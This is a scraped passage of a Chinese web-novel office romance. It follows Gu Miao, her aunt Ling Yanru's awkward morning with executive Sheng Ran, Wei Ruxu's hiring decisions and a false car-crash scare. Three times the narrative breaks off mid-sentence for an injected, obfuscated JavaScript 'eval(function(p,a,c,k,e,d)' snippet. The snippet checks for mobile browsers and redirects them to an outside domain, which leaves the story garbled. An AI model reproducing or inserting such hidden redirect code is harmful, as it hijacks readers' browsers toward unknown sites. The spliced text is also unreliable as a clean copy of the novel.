怀着十分愉悦的心情,两个人同时醒来,看到对方的第一眼,都露出了大大的满足的笑容。 盛然吻了吻凌晏如的眼睛,在她耳边温柔地说:“睡得好吗?” 他的声音低沉富含磁性,低音炮似的,像有一只小手在人的心口轻轻挠了挠。凌晏如听得很是舒服,眯起眼睛翘了翘嘴角:“精疲力尽,自然睡得好。” 这话在盛然听起来很有成就感,心情更上一层楼,他起身抓过一件凌晏如的睡袍往身上一披:“你再睡会儿,我去弄点吃的。” 待他出了卧室,凌晏如在床上打了个滚,心里快乐出花来了, 这特娘的才叫生活啊是不是?! 外面传来“咣咣”的敲门声,盛然的脑袋伸进来:“我去开?” “估计是快递。”凌晏如点点头。 然而门一打开,门口站着的竟是顾妙。 顾妙看到盛然,震惊得直接屏住了呼吸! 在公司里很少碰见盛然,没想到这一见就见了这么多!小姨那短款丝绸睡袍根本遮不住盛总壮硕的八块腹肌好吗?! 盛然觉得有点尴尬,徒劳无功地裹了裹身上的女式睡袍,诧异地问:“你怎么在这儿?” 顾妙一时不知该如何调动面部肌肉,只好面无表情:“我来找我小姨。” 凌晏如听到顾妙的声音,披了件衣服出来,冲呆若木鸡的盛然一点头,拉着顾妙的手腕进了卧室。 “大早上的你要干什么?来之前也不说一声?”凌晏如郁闷得要命,她虽然并不介意顾妙会怎么想,但这也太寸了,第一次就被人撞了个正着。 “我夹板在你这呢,睡觉头发给压坏了想夹一夹,给你发微信你也没回——别跑题,你知道那个是我们公司盛总吗?”顾妙摆出一副辛酸脸,“兔子不吃窝边草啊小姨!” 凌晏如压低声音:“我又不会读心术,哪知道是你们公司的?” “你们俩认识的时候没自我介绍?昨晚跟你相亲的就是他?之前媒人没说清楚吗?”顾妙眨巴着单纯的大眼睛,看着表情一言难尽的凌晏如,突然间明白了什么,嗓门陡然高了八度,“你俩不会是……” 凌晏如一把捂住她的嘴:“可闭嘴吧祖宗!” 顾妙扒拉开她的手,撇了撇嘴:“难怪你这么火急火燎地搬出来。” “行了,少废话,夹板给你,公司夹去。”凌晏如从梳妆台抽屉里拿出夹板,塞进顾妙包里,“盛然和我们一个小区,你要是不抓紧走,难道想蹭他车一起去上班?” “所以这是天降奇缘吗?”顾妙诧异地说,“转角遇到爱?” 凌晏如忙不迭地把顾妙往外推:“你小时候看太多偶像剧了,赶紧滚蛋。回头再说。” 刚把顾妙推出大门口,回头一看,盛然已经把炒好的鸡蛋和泡好的麦片端出来放在了桌上。他倒是没表现出尴尬,冲凌晏如笑了笑:“这么巧,没想到顾妙是你外甥女。” 凌晏如弯了弯嘴角,露出一个不甚真诚的笑容,没说话,她也不知道说什么好。 盛然:“看来平时你也经常吃外卖,冰箱里没什么东西,只能弄这些。你先吃饭,我换好衣服回家洗漱。” “啊?你辛苦做的,不吃了再走吗?我这儿有一次性牙刷。” 凌晏如觉得这不是待客之道,本能地客气了一下,但转念一想,其实她并没有任何要跟对方有发展的意愿,又有点怕刚刚的话会给他什么错觉。 不过她打量了一下盛然那女式睡袍遮不住的好身材,下意识地咽了咽口水,暗暗觉得惋惜。 “不了,我回去跟家人说声,一会儿还要赶着去上班。”盛然冲她温和地笑了笑,去卧室换好了衣服。 再出来时,桌上的早餐还没有动,凌晏如只是洗漱一新站在门口等着他。 盛然很自然地在她额头上一吻:“快去吃饭吧,一会儿凉了。” 凌晏如犹豫了一下,艰难地说:“你别多想……” 本来以为能洒脱的,但也毕竟是第一回,想表达“以后不要来找我”的意思似乎有点难,她寄期望于对方能够心领神会。 盛然人好看,事业发展得也不错,虽然因为某些原因往往相亲失败,但这并不妨碍他深受各种女性欢迎。 凌晏如觉得他的私生活应该也会百花齐放,因此应该在处理这种关系方面轻车熟路,她无需多言,只要点明即可。 谁知盛然打断了她的话,轻笑一声,灵活地扔下了一句意味不明的“嗯”,拉开门走了。 “嗯”是什么意思?懂了还是没懂?凌晏如在风中凌乱了。 堪堪撑到下楼,盛然伪装的镇定就轰然倒塌,他站住脚,扶着楼梯扶手,长长地舒了口气。 面对客户都没这么紧张过! 跟凌晏如推测的相反,他虽然多金又一表人才,但并不怎么游戏花丛。一来是没时间,二来还是没时间。 做客户部副总监可不是摆设,他比廖玄的事情还多还忙,白天工作晚上应酬,每每带着一身烟酒味儿回家,倒床上就睡,哪有功夫瞎搞。 况且在娱乐场所他不过是逢场作戏,自己心里还是有点洁癖的。 但凡工作不忙、有时间休息的时候,他还要回家安慰老母亲照顾小侄女呢,也并没时间出去搞三搞四。 就算腾出空,也是被逼出去相亲,比跟客户见面还严肃认真,规规矩矩吃完饭送人家回家,从此再无联系。 因此,盛然虽不算是毫无恋爱经验,但也不是什么花丛老手,面对有感觉的女性,他还是会紧张的。 尤其他对凌晏如颇有好感,真存了一点想要跟她发展发展的意思。 做他们这行的最会察言观色,盛然感觉得出来,凌晏如不是爱出来玩的那种人,至于为什么跟他突然就一拍即合,他自恋地认为,自己的魅力是最关键的因素,再加上昨晚俩人都不顺心,可能算是个催化剂。 他也明白,凌晏如的想法和他不一样,所以刚刚面对她的一切暗示他都避重就轻,绝不死缠烂打。 于是他打算先退后几步,静待时机,以退为进。 顾妙怀揣着新鲜出炉的八卦,一路上大脑都处于循环死机状态。到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459406|169685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了公司,她先跑去洗手间夹完了头发,之后神不守舍地往回走,在总经理办公室门口便跟人撞了个满怀。 “不好意思啊——盛总?”顾妙觉得可能今天起床姿势不对,才两个小时眼前就上演了各种丰富多彩的剧情,堪比狗血电视剧。 “没事。”盛然冲她一点头,跟平时没两样,继续低着头一边看手机一边往办公室走去。 顾妙呆立当场,回望着盛然的背影,脑海中不由地再次浮现他那穿着女式睡袍的“优雅”形象,顿时觉得以后再也无法直视他了。 唉,想想都伤眼。 她正在出神,突然一个男声低低地在她耳边炸响:“喂!” 可怜顾小妙,三魂七魄一起被轰上天,尖叫一声本能地向后一抓,要给那人一个过肩摔。 幸亏此人早有准备,迅速往后一跳,躲开了她的幽冥鬼爪。 “哈哈!躲避技能get!” 顾妙返过神来,看见眼前站着的是魏如栩,顿时血涌上头,感觉自己要疯。她还没来及开口,就有人说出了她想说的话。 廖玄刚上楼,就目睹了这类似高中校园里男生逗女生的戏码,顿时觉得胃疼:“干什么?做广播体操呢?像什么样!” 魏如栩笑嘻嘻地:“廖叔叔早。” 廖玄拿他没办法,摇了摇头走了。 顾妙瞪了魏如栩一眼,正想谴责他过于幼稚的行为,后者则装出一副端庄脸,清了清嗓子:“闹什么闹,上班了!” 接着便甩开长腿进了办公室,仿佛刚才找事的那个不是他似的。 顾妙:“……” 这一天天上班挣的不是钱,是将来治躁狂症的医药费! 左思右想之后,顾妙给凌晏如发了微信:“小姨,你这事儿要跟顾肖保密吗?” 想必凌晏如睡了个回笼觉,两个小时过后她才回复了一句绕口令一般的话:“这就根本不是事儿。不是事儿的事儿,你要多事儿吗?” 跟你们文字工作者没法正常交流! 顾妙觉得自己一大早起来平白无故被闪瞎了眼,又饱受精神摧残,现在明明是关心,还被绕口令糊了一脸,心情实在是不能好了。 想了半天,她回了凌晏如一句:“小姨,你的小说写得怎么样了?” 凌晏如发来一张“脸都给你打歪”的表情包,单方面终止了谈话。 顾妙终于爽了一点点。 昨天面试后筛选出来的人今天来参加了最终面试,按照原计划,魏如栩跟方德潜相约会议室,并且带了顾妙做添头。 两位大佬在前,顾妙肯定是缩在角落里当做自己不存在,但她知道最后魏如栩肯定要问她想法,也不敢摸鱼,认认真真观察每个应聘者,并在旁边做记录。 方德潜上去四十出头,打扮得人模狗样,虽然色调搭配很是禁欲,大热天风纪扣系得也很牢,可并不能掩盖这层精致表皮下的猥琐。 要说廖玄浑身上下散发的是老不正经的骚气的话,此人从头到脚弥漫的都是严丝合缝的人渣气。 本来顾妙以为廖玄是嘉栩第一油腻男,现在看来,方德潜才是真正的滑不溜手。 他跟魏如栩说的每一句话恨不能都话里有话,拐弯抹角拍马屁,顾妙听得快把午饭都吐出来了,对魏如栩新添了一分敬意。 当领导真不容易,要安之若素地面对扑面而来的各种浓度的马屁,不能捂鼻子不能犯恶心,还要摆出一副笑看风云的面孔。 这难度比起“唾面自干”也不遑多让吧,都是考验修养的时刻。 谁说小魏总不适合当总经理的?光这份心胸、这个压场能力就足够了! 所以表面上来看,这次终极面试是方德潜参与,实际上他的意思就是小魏总你来决定,看谁顺眼就要谁。 反正已经是最终面试,候选人水平都差不多,选谁都一样。 魏如栩也无所谓,搬出方德潜来,一是为了表示他虚心学习,二是证明自己不会搞一言堂。 演戏演全套,何况方德潜又是个最好的戏搭子。况且对他来说,比起面对廖玄暗藏机锋的对话,跟方德潜打交道简直容易极了——左耳进右耳出,完全不用挂心。 所以回到办公室,魏如栩才跟顾妙商量起最终人选。 美术没得商量,小魏总就是干这行出身的,已经钦定了他中意的两个人,这俩人名字吉利得很,一个叫祝商祺,一个叫贺若,都是仪表堂堂大小伙子。 顾妙看了他们的简历和作品也看不出好歹来,以她外行兼颜狗的心思揣摩魏如栩,认为他一定是按颜值选的。 小魏总对男人的品味还是不错的嘛! 对此,小魏总有话说。 30. 第三十章 选才用人 看见顾妙一脸痴痴呆呆的姨母笑,魏如栩知道她脑袋里那一堆颜色不明的废料又开始发酵了,拿起手边文件夹,不轻不重地在她头顶敲了一下。 “啊!”顾妙摩挲着自己的狗头,抱怨道,“君子动口不动手!” “你先做到这条再来要求我。”魏如栩坐下,把祝商祺和贺若的作品和简历在桌上摊开来。 “就算你看不懂画的好坏,至少也能看懂人吧?一个人最首要的作品就是他自己,从气质到穿着都代表了他的审美。”魏如栩轻轻点着那俩人的简历,“衡量作品水平还在其次,审美能力才是第一位的。” “那岂不是每个人都要先去整个容才能出来找工作?”顾妙不服气地嘟囔着,她觉得自己已经颜狗癌深入晚期,但没想到小魏总比她还离谱。 魏如栩无语凝噎地看了她一眼,不明白自己这句简单的话怎么被她曲解成这样的:“……你是历届杠精大赛的冠军吗?” 顾妙眼珠转了转,笑嘻嘻地向前凑了一步,扶着宽大的办公桌,身体略向前倾,满怀期待地问:“那你当时一眼选中我,是不是也因为我的颜值爆表?” 小魏总那张脸先是一滞,随即长眉微蹙,眼睛轻轻一眯,长长的眼尾甩出了一丝鄙夷:“大姑娘,你要点脸吧!” 经过两人一番争论,文案人选也尘埃落定,选出了俩姑娘,一个叫茅笛,一个叫戚滢滢。 茅笛是公认的优秀,毋庸置疑。戚滢滢则是争论的焦点。 这个姑娘就是在笔试试卷上画插图的那位,本人比实际年龄22岁看起来还要小,鹅蛋脸配上水汪汪一双大眼睛,带着一种不谙世事的可爱,看起来人畜无害,很合人眼缘,但就太显得没心没肺了,让人怀疑她是否能胜任本职工作。 要不是她的笔试表现和作品都给人带来耳目一新的感觉,恐怕她也不可能进入最终面试。 魏如栩是想组建一支年轻的团队不假,但他并不太希望自己的团队中有拖后腿的。 这位戚滢滢同学,面试的时候穿了一身汉服来,在所有面试候选人当中显得鹤立鸡群。那套衣服还不是改良版,长裙险些拖地,走过路过把地能擦得光可鉴人,很是为保洁大姐省事。 面试的时候魏如栩问过她为什么会穿这一身来,回答前面问题都吭吭哧哧的戚滢滢,聊起汉服滔滔不绝,表示这是她一生所爱,不但爱穿,自己还爱做,身上这套就是自己亲手制作的。 她还毫无心机地展示了自己在网上的汉服小店,饶有兴趣地一件件推荐,一点也不担心未来老板会不会介意她将来的工作热情放在哪里。 其实她的笔试和作品也算是争议的焦点,之前HR就觉得她思维方式异于常人,属于奇葩那一类,脑洞太过开放,将来未必是个好的团队合作者。 但喻真从专业角度出发,觉得这样的人或许能屡出奇招,能够给团队带来另一种思考角度。 魏如栩本人对文案没什么概念,但他毕竟也是实验艺术出身,对于脑洞这种事情向来兼容并包,就是看到戚滢滢整个人的行事风格略有担心。 顾妙认同喻真的想法,觉得搞创意的嘛,不走寻常路自然是好的,如果大家想法都一致,要么是一样的惊世骇俗,要么是一样的平庸。 很显然,后者的可能性更大一点。 面对魏如栩的犹豫不决,顾妙抛出了杀手锏:“你不是最看不惯别人用刻板印象来衡量一个人的吗?怎么,自己也犯病了?” 一句话正中靶心,小魏总立刻让步:“好,就她了!” 至于创意B组组长,魏如栩本意就是在创意部现有员工中选拔,喻真也给出了几个候选人,都是在公司工作了三年以上,表现出色的员工。 但魏如栩不太想找他们来面谈,总觉得这样太过于明显,将来谁落选都不会舒服。 因此,在顾妙的提议(撺掇)下,恰逢第二天周五,下午创意部搞了团建,集体跑去玩了个大型密室逃脱,顺带晚饭聚餐。 小魏总带着助理参加,名义上为了跟大家熟悉熟悉,实际上就是为了观察那几个候选人。 在情商、沉稳程度、包容性和领导意识等方面衡量过后,魏如栩和顾妙都觉得原先创意A组的苗之钦很是出色,毫无争议地选了她。 恰好策划部有人想调岗,两个部门大脑袋一碰,就把这人调到A组补缺。等下周一新招来的四个员工一上班,创意部一家人终于能齐齐整整了。 魏如栩的这一系列动作,廖玄自然是看在眼里。一开始HR那边故意把筛选简历的事儿给顾妙正是来自这位油腻男的恶作剧。 HR总监窦飞,人送外号“逗逗飞”,跟廖玄是喝酒吃肉瞎哔哔的好哥们。俩人私底下聊起魏如栩,都是一副看不上的模样,觉得魏远生不是生病搞坏了脑子,就是故意把儿子放在总经理的位置上,给他们这些老人儿们暗示,让他们别想着打公司的主意。 这事儿对廖玄的刺激比较大,窦飞倒是无所谓,反正他就是再升职,也顶多升到副总经理,肯定越不过廖玄去。 但他坚信魏如栩干不长,还是抱稳廖玄这条钻石大腿比较务实。 所以当魏如栩有点“培养亲信”的意思冒出来,窦飞就去“请示”了廖玄的想法,并在对方的授意下,试图为难魏如栩和顾妙。 拿这点儿破事儿恶心人,可见廖玄和窦飞的志趣不高,也不是什么心有大格局的人物。 晚上俩人约了一起吃饭,窦飞把魏如栩选人情况给廖玄说了说,问他有什么打算。 廖玄喝了口酒,咂咂嘴:“我能有什么打算?自然是尽心尽力工作,好好帮人家。” “小魏总果然是少年意气,还真想着放开手脚大干一番?”窦飞讪讪地笑了笑,“好好当个纨绔子弟不行吗,非得上公司来插一脚。他就不怕把他爹的公司给折腾垮了。” “瞧你说的这是什么话。当纨绔多挨骂,人家要好好干,难道不对吗?咱要拦着,不更显得司马昭之心?”廖玄笑笑,“这孩子我从小看大的,不是那种不学无术的人,就是不太适合干这行。” “可不么,人家学艺术的,高贵傲气,怎么可能低头。他是还不知道当乙方的苦。” “所以啊,不用我拦,他想试就尽管让他去试,忠言逆耳,只有自己掉坑里了才知道疼。”廖玄笑了笑,“那天他单独请我吃饭,想让我带他多见见客户,看起来像是虚心好学,就跟谁看不出来他想把客户攥自己手里似的。” 听到这话,窦飞表现得有点紧张:“你带他见了?” “当然!那些客户正担心老魏生病之后,公司人心浮动,业务上会出问题。我劝还劝不过来,这位还上赶着送实锤给人家。他自己不知道藏拙,我何苦枉做小人!”廖玄掩饰不住脸上的得意之色,转着手里的酒杯,“先这么干着吧,如栩想要什么,我就给他什么,我对老魏也算仁至义尽了。” 窦飞从廖玄口中隐隐听出来借刀杀人的意思,还是借儿子的刀砍老子,不禁暗暗咋舌。 廖玄这招捧杀实在是让人防不胜防,窦飞觉得小魏总只能自求多福了。 魏如栩倒是全然没有想到这一层面,毕竟他年纪还轻,即便是心思深沉,也还没到这个地步。 上次廖玄肯带他去见客户,他觉得很受鼓舞,对廖玄的态度也好了不少,还曾经自责过,怕是自己之前把这人想得太不是东西,实在是有点小人之心。 不过从廖玄手里争取老客户是一回事,自己拉来的新客户更稳妥。 赶上周末,他就约了那几个爱玩游戏的纨绔,带着新上任的“男公关”顾肖,先是一起吃了饭,在饭桌上边吃边聊十分起兴,接着就去了某个纨绔家联机打游戏。 顾妙在家里等得有点不安心,因为顾肖同学从前方发来报道,据称魏如栩为了接那几位的地气,把自己打扮成了十足的败家子,平时不怎么戴的名表戴了起来——貌似是从老魏先生表柜里“借”的——还开了一辆“三叉戟”出来。 这跟小魏总平时踩滑板上班的风格相去甚远,这么一想,顾妙觉得很不现实。 平时魏如栩穿着打扮并不算讲究,当然也是一身名牌,只不过穿在他身上,更吸引人的是他本人,如果不是刻意去观察的话,也不太能认出他穿的是什么牌子。 这话自然要两说,擅长此道的一眼就能看出来,但是顾妙明显除了几个超级大牌之外,其他牌子傻傻分不清楚,压根儿不会往品牌方面想。 所以在她眼里,魏如栩基本是个普通青年,跟什么富二代完全不沾边,根据顾肖的描述,顾妙完全get不到他嘴里所说的“拉轰”是什么意思。 于是顾肖很体贴地发了一张照片过来。 照片是在副驾驶位置上拍的,顾肖那用了四年的老手机画质感人,外加非故意的手抖效果,整张照片意外地糊出了油画质感。 魏如栩的头发有几缕挑染成了彩色,在黯淡的光线中显得十分飞扬。平时这种打扮完全是杀马特非主流的效果,可是在他脑袋上并不违和,整个人凭空多了一分青春洋溢的感觉,再配上那孔雀蓝的纯色T恤,显得那线条美好的侧脸更加莹润如玉。 顾妙两只手指一撑,放大了照片,发现这货竟然骚气地在右耳上戴了枚耳钉!不记得他有耳洞啊,一定是耳夹! 为了跟纨绔子弟们打成一片,小魏总真够豁得出去! 魏如栩似乎发现顾肖在拍他,眼睛盯着前方,余光却瞟了过来,眼尾微微上翘,带着一丝戏谑,配上唇角勾起的微笑,整个人好看得如同一个妖孽,跟他平时那种温润的样子完全不一样! 顾妙不禁陷入了深深的迷茫,以前在她脑子里百转千回挥之不去的想法再缠绕了过来:究竟哪一面,才是真正的魏如栩?难不成他本来就喜欢这样飞扬跋扈的打扮,为了在公司上班才收敛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“老板不参与评比。”顾妙一把夺过凌晏如手里的遥控器,阻止了她对电视无情的摧残,“你可别嘴硬,要是觉得盛总不帅,你会跟他……” “咳咳,注意尺度。”凌晏如清了清嗓子,“你就别操心我的闲事儿了,乖。” 顾妙忧心忡忡地看着她:“小姨,你真不打算再认真谈个恋爱,再给我们找个姨夫吗?” 凌晏如伸手抓过顾妙一绺头发玩着,漫不经心地说:“恋爱婚姻我都经历过了,不缺,现在缺的就是取悦自己,其他的随缘吧。你呀,别光顾着上班,抓紧谈个恋爱,结不结婚的在其次,别浪费大好青春。” 顾妙怔了怔,闷闷地说:“小姨,我发现你的腔调越来越像二姑姥姥了。” 凌晏如听了她的话,神情一滞,哈哈大笑起来,手上用劲儿,揪了揪顾妙的头发,气得顾妙把她推到一边去,不打算理她了。 她故意把话题岔开,其实也是心里有点乱。 盛然很明显没有领会到她那天那句话的精神,虽然没有冒冒失失上门去找她,但确实也有一搭没一搭地跟她联系。 偶尔问个好,随意聊几句,并不显得刻意接近,尺度拿捏得非常到位。 比如他会聊起来新上映的电影,凌晏如以为他要约自己去看,连拒绝的理由都想好了,可惜人家并没有深入这个话题。 再比如凌晏如偶尔秀一道自己做的菜,盛然会积极点赞,并且小窗她,跟她交流双方喜欢的菜系。 知道凌晏如对淮扬菜感兴趣,他就推荐了一家当地比较不错的淮扬私房菜。同样,凌晏如也做好了360度全方位拒绝的准备,盛然却并没有开口约她。 几次三番下来,凌晏如甚至有点恼羞成怒,仿佛自作多情了似的。 昨天,盛然发了几张高尔夫球场的照片给她看,因为之前两人聊天凌晏如还提过自己挺喜欢打球的。 经过前两次的惨痛教训,凌晏如没敢再多想,谁知道就被盛然成功套路了。 瞎聊了半天,她不小心透露自己周末鸟事没有,宅在家发霉,盛然就很自然地邀请她周末去打球。 噫,这个人真是不简单呢! 这下凌晏如也不好拒绝,只好硬着头皮答应。但她也已经把思想全副武装起来,但凡盛然想再近一步,她会明确果断拒绝,不留任何可能,即便对方说要做什么普通朋友。 男女之间,到了这个年纪,谁会做普通朋友,多浪费精力! 凌晏如这半天没说话,靠在一边神游天外。 顾妙就低着头玩手机,时刻刷着顾肖的朋友圈,生怕他们玩什么危险游戏。 这货的朋友圈再没了更新,倒是突然某个新闻app发了个推送: 突发!本市富二代深夜飙车,玛莎拉蒂撞得惨不忍睹! 顾妙顿时觉得自己全身的血都被冻住了。 31. 第三十一章 软弱的小魏总 哆哆嗦嗦地拨了魏如栩的电话,没人接,然后又拨了顾肖的电话,还是没人接,顾妙三魂不见了七魄,拿着手机的手抖得连微信都发不出去。 凌晏如握着她筛糠的手:“别怕,新闻很多都是夸张,咱们这就过去看看!” 她二话没说换好了衣服,想叫车却一直叫不到,急得在原地来回溜达。 顾妙却一声不吭地拨通了盛然的电话,声音颤抖地问:“盛总……你在家吗?能不能麻烦你件事?” 凌晏如:“……” 但这确实是个好办法。 恰好盛然在家,他挂了电话立刻开车出来,带着顾妙和凌晏如赶往事发地。 盛然看着副驾驶座上顾妙着急的样子,沉吟片刻道:“如果是车祸的话,估计人已经送到医院了,要不我联系下丁萧然,让她找那个媒体问问……” 顾妙犹豫不决:“还有别的办法吗?不想让这事儿闹得所有人都知道。” 她不想魏如栩跟“富二代飙车”这样的话题牵扯上什么关系,即使事实可能如此。 “这样,我跟她说,这可能是我的一个朋友,让她查查情况。” “……行。”顾妙满脑子都是车祸现场的假想图,自己把自己吓得心肌快梗死了,大夏天坐在座位上不停地发抖。 她不断想起给父母认尸时那个血腥的场面,当时她根本不敢相信那样血肉模糊的躯体竟然是自己可亲可爱的爸爸妈妈。 四年前的生离死别跨越时空,抱脸虫似地糊了她一脸,糊得她连气都喘不上来。 如果顾肖也…… 那她觉得自己也没必要存在这个世上了。 凌晏如知道顾妙为什么会紧张过度,她坐在后座,凑到顾妙身边,安抚地说:“妙妙,你千万别胡思乱想,顾肖一定不会有事的,听见了吗?还有你们那个小魏总,也是福大命大。他们都不是没分寸的人,你要相信他们。” 顾妙想说,撞死爸爸妈妈的那个大货司机,前半辈子从来没出过任何交通事故,可怎么偏偏就那天追了尾? 可见这种事情是毫无逻辑可言的。 但她张了张嘴,并没有发出声音。 她残存的那点理智告诉自己,小姨也是在为她着想,她不能自己揪心,却去毁掉别人的希望。 丁萧然办事迅速,很快就给盛然回了信。说那新闻确实有标题党之嫌,事实上车确实是撞了,但没听说有什么人员伤亡,再详细的事儿等她那边的人联络到现场记者才清楚。 盛然迅速把这个结果告诉了顾妙,两个人都长出了一口气。 还没来得及把心放回肚子里,他们已经到了新闻上所说的事发地,看到一群半大小子围在一起,吵吵闹闹的像是要打群架。 在他们身旁,两辆跑车确实撞在了一起,其中一辆也确实够惨不忍睹的。 车还没停稳,顾妙就拉开车门跳了下去,被相对速度绊得趔趄了一下。 她不管不顾地扒开围观群众,冲进人群中一看,见几个青年在推推搡搡地吵架,旁边拉架的赫然是顾肖和魏如栩。 顾妙气还没喘匀,就看见其中一个青年居然要把手伸向顾肖,她顿时大脑一片空白,本能地大喝一声,三步并作两步冲向前,高高跃起,一个漂亮的跳跃回旋踢,直接向那动手的男青年招呼了过去。 顾肖看见顾妙冲过来的时候就觉得不对,大喊一声:“姐你别动手!” 魏如栩急中生智,一转身搂住了顾妙的腰,顺势抱住她往地上一倒一滚,总算卸掉了她这蓄满全身力气的一脚。 这个时候盛然和凌晏如也追了过来,顾肖赶紧跟他们解释。其实是对方一拨小青年醉驾,一下子撞上了魏如栩刚停好的车。 两拨人开始理论,吵吵了半天,对方因为喝多了,闹起来没完,他朋友又拦着不报警,怕惹事上身。总之就闹到了现在,他们都不知道这破事儿还上了新闻。 盛然来了,就把当事人拉到一边,开始协调。 而魏如栩这边,俩人还倒在地上,因为顾妙伏在他胸口,突然抑制不住地哭了起来。 “好了好了,没事了。” 魏如栩并不知道这不实报道已经遍布全城,也不清楚顾妙经历了怎样的惊心动魄,于是对她这没来由的嚎啕大哭感到莫名其妙,但也不知道说什么好,只能轻轻拍着她的后背,同时对他俩这半躺不躺的姿势感觉有点尴尬。 顾妙哭个不停,似乎也觉得有点丢人,脸紧紧埋在魏如栩怀里,泪水磅礴,已经打湿了他的衣服。 魏如栩感觉到胸口湿乎乎的,再加上天气比较热,刚刚吵架已经出了一身臭汗,再混上本来就有的香水味儿,生怕有什么不妥,再被顾妙闻见,那他的光辉形象岂不碎了一地。 他轻轻推了推顾妙:“是不是摔哪儿了?哪里疼?起来看看。” 顾肖从凌晏如口中知道了事情的大概,跑过来解救了魏如栩。 他拉了拉顾妙的手腕:“姐,我没事。你看,好好的呢。我命这么大,怎么可能出车祸?” 听见顾肖的声音,顾妙抬起她那哭得稀里哗啦的脸,一撑地弹簧般站了起来。 她拉着顾肖,把他转得像个陀螺,前前后后检查N遍,带着鼻音喋喋不休:“真没事儿吗?我看看——跟你说小心了吧,让你别碰车你听话了吗?啊?!我就你这么一个弟弟了,你能不能让我省点心?” “知道了,知道了,都是我的错。”顾肖一把把顾妙揽进怀里,轻声安慰道,“姐,只要有你在,我一辈子都会小心的。别哭了,这么多人,这么哭太有损你形象了。” 旁边凌晏如及时做了自我介绍,也把事情的始末传达给了魏如栩。 没想到还有这样的乌龙事件,他也觉得震惊,难怪顾妙刚刚的反应那么激烈。 魏如栩从来没见过顾妙如此情绪失控过,诧异之余,看到他们姐弟相拥,心中顿时升起浓浓的羡慕之情。 就算真是出了车祸,也没人这样捕风捉影地追过来,惊恐万分地检查他受没受伤吧。 他突然就觉得自己特别委屈,特别孤单。 于是小魏总干了件令人瞠目结舌的事——他走到顾妙身后,伸出两指扯了扯她的衣服,尽管还没开口说话,整套肢体动作却已充分表达出满满的娇嗔意味。 顾妙转身,一双眼肿得像核桃,勉强睁开看着魏如栩:“干什么?” “我也要。”魏如栩毫不介意顾肖那见了鬼的眼神,只顾低头看着顾妙,神情专注,无比认真,“我也要你检查我。” 顾妙:“……” 顾肖:“……” 大哥,话说清楚行么,这虎狼之词充满了令人无限遐想的歧义啊! 魏如栩意识到了顾妙似乎没听懂,在她面前转了一圈,还指了指顾肖:“就像你刚才检查他那样。” 顾妙此刻神智已经渐渐清醒,也想起来刚才那功败垂成的一脚,以及魏如栩关键时刻搂着她滚地卸力的那一幕。 那会儿魏如栩以身为气垫,将她护得十分周全。 “哦对了,刚刚你那样实在太危险了。虽然我考过红带是几年前的事儿,这两年又没怎么训练,力度不如从前,可要是被踹一脚,也得在床上躺几天呢。” 顾妙也拉着魏如栩的胳膊,把他转了几圈,认认真真地检查了一遍,见那件漂亮的T恤背后沾得尽是泥土,帮他轻轻掸了掸,还小心翼翼地在他后背按了按,“哪儿疼吗?要不撩起来给我看看?” 魏如栩一直看着顾妙的脸,目光在暗夜之中无比深沉,毫无一丝暧昧,他一声不吭,脸上绷得紧也没什表情,心里却后知后觉地电闪雷鸣起来。 如果说刚刚的撒娇还带有玩味的意思,那么现在对上顾妙真正关心的目光,他那无从发泄的委屈歪打正着地撞进了这么一个温暖的怀抱,变得愈发肆无忌惮,在胸口翻转腾挪,似乎把他紧锁已久的心门撞开了一条小缝。 伴随那“吱哟”一声开门的声音,他的眼眶居然有一点点酸。 魏如栩觉得自己心冷,拒人于千里之外,没什么朋友,也不轻易谈恋爱,就是怕别人看到自己软弱的地方。 他不敢让别人走进他心里,于是生生给自己织出各种各样的面具。 然而这一刻,好像有什么东西开始改变了。 见他总不说话,顾妙不禁有点担心,想道:“难不成刚刚在地上还撞到头了?” 于是她伸手向魏如栩的后脑勺摸去,被他一把攥住了手腕。 夏夜里,这人的手心灼烫,顾妙感觉似乎被烙铁烙了一下似的。 “摸什么摸,男人的头不能乱摸,懂吗?”烙铁目光灼灼,意味不明地看着她。 顾妙:“……嘁,你有脸撒娇,我还不能摸下你的脑袋了?” 魏如栩:“……” 这人真会破坏气氛! 旁边顾肖敏锐地感应到气氛已经发生改变,总算敢开口:“姐,冲动是魔鬼啊记得吗?得亏如栩哥把你拦住,要是给人踢出个好歹来,我们索赔不仅难上加难,搞不好还得给人赔偿医药费。” 顾妙疑惑地看看那撞得不成样的车,又看看正在跟人认真掰扯的盛然,重点稳稳跑偏,她怯生生地看了魏如栩一眼:“老板,不怪我把盛总叫来吧?当时打不到车,我又着急……” 魏如栩扬起高贵的头颅,用余光瞥了她一眼,没吭声,大约是“给你个眼神自己体会”的意思。 这会儿顾妙有点后怕,暗暗觉得之前没让盛然跟丁萧然说实话的决定无比英明正确。 凌晏如看完小辈儿们的戏码,就跑去旁观盛然跟那帮纨绔子弟谈判。 这人果然是做客户出身,态度不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459408|169685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卑不亢,有理有据,一段接一段的论述把那些小青年们说得十分服气,连连点头。 